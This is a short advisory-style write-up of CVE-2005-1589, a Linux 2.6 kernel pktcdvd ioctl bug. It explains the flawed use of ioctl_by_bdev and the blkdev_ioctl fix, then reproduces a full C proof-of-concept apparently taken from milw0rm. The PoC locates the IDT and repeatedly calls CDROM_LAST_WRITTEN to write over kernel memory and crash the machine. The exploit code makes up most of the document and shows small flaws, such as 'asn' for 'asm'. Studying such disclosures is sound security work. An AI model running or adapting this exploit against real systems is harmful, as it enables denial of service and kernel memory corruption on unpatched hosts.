CVE-2005-1589

A local user with read access to a pktcdvd block device can trigger the vulnerability by calling the `sys_ioctl` system call with the `CDROM_LAST_WRITTEN` command and a crafted argument. This argument points to kernel memory, which the vulnerable function then attempts to access. The exploit attempts to overwrite kernel data structures, leading to a denial of service or arbitrary code execution [ref_id=1].

The vulnerability resides in the `pkt_ioctl` function within the `drivers/block/pktcdvd.c` file. Specifically, the `CDROM_LAST_WRITTEN` and `CDROMEJECT` ioctl commands incorrectly use `ioctl_by_bdev` to process their arguments, which can lead to memory corruption [ref_id=2].

The patch replaces the call to `ioctl_by_bdev` with `blkdev_ioctl`. This change ensures that the ioctl command is handled correctly within the kernel's block device layer, preventing the misuse of user-supplied memory addresses and thus closing the security boundary crossing [ref_id=2].

```c /* pktcdvd_dos.c proof-of-concept * This is only a lame POC which will crash the machine, no root shell here. * --- alert7 * 2005-5-15 * the vulnerability in 2.6 up to and including 2.6.12-rc4 * * gcc -o pktcdvd_dos pktcdvd_dos.c * * NOTE: require user can read pktcdvd block device */

#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <paths.h> #include <grp.h> #include <setjmp.h> #include <stdint.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/ucontext.h> #include <sys/wait.h> #include <asm/ldt.h> #include <asm/page.h> #include <asm/segment.h> #include <linux/unistd.h> #include <linux/linkage.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/sysctl.h> #include <linux/cdrom.h>

#define __NR_sys_ioctl __NR_ioctl

#define PKTCDVDDEVICE "/dev/hdc"

static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);

struct idtr { unsigned short limit; unsigned int base; } __attribute__ ((packed));

unsigned int get_addr_idt() { struct idtr idtr; asn("sidt %0" : "=m" (idtr)); return idtr.base; } struct desc_struct { unsigned long a,b; }; int main(int argc,char **argv) { unsigned int ptr_idt; int iret ; int fd;

printf("[++]user stack addr %p \n",&ptr_idt); if ( ( (unsigned long )&ptr_idt >>24)==0xfe){ printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n"); return -1; }

ptr_idt=get_addr_idt(); printf("[++]IDT Addr %p \n",ptr_idt);

fd = open(PKTCDVDDEVICE,O_RDONLY); if (fd ==-1) { printf("[--]"); fflush(stdout); perror("open"); return -1; }

unsigned long WriteTo ;

if ( (ptr_idt>>24)==0xc0){ printf("[++]this OS in Real Linux\n"); WriteTo= ptr_idt; }else{ printf("[++]this OS maybe in VMWARE\n"); WriteTo = 0xc0100000; }

printf("[++]call sys_ioctl will crash machine\n"); fflush(stdout);

int loopi; for (loopi=0;loopi<0x100000 ;loopi++ ) { printf("[++]will write data at 0x%x\n",WriteTo+loopi*4); fflush(stdout); iret = sys_ioctl(fd, CDROM_LAST_WRITTEN, WriteTo+loopi*4); if (iret ==-1) { printf("[--]"); fflush(stdout); perror("ioctl"); //if in VMWARE ,rewrite ptr_idt adress will failed printf("[--]still aliving\n"); close(fd); return -1; } } close(fd); return 0; }

// milw0rm.com [2005-05-17] ``` [ref_id=1]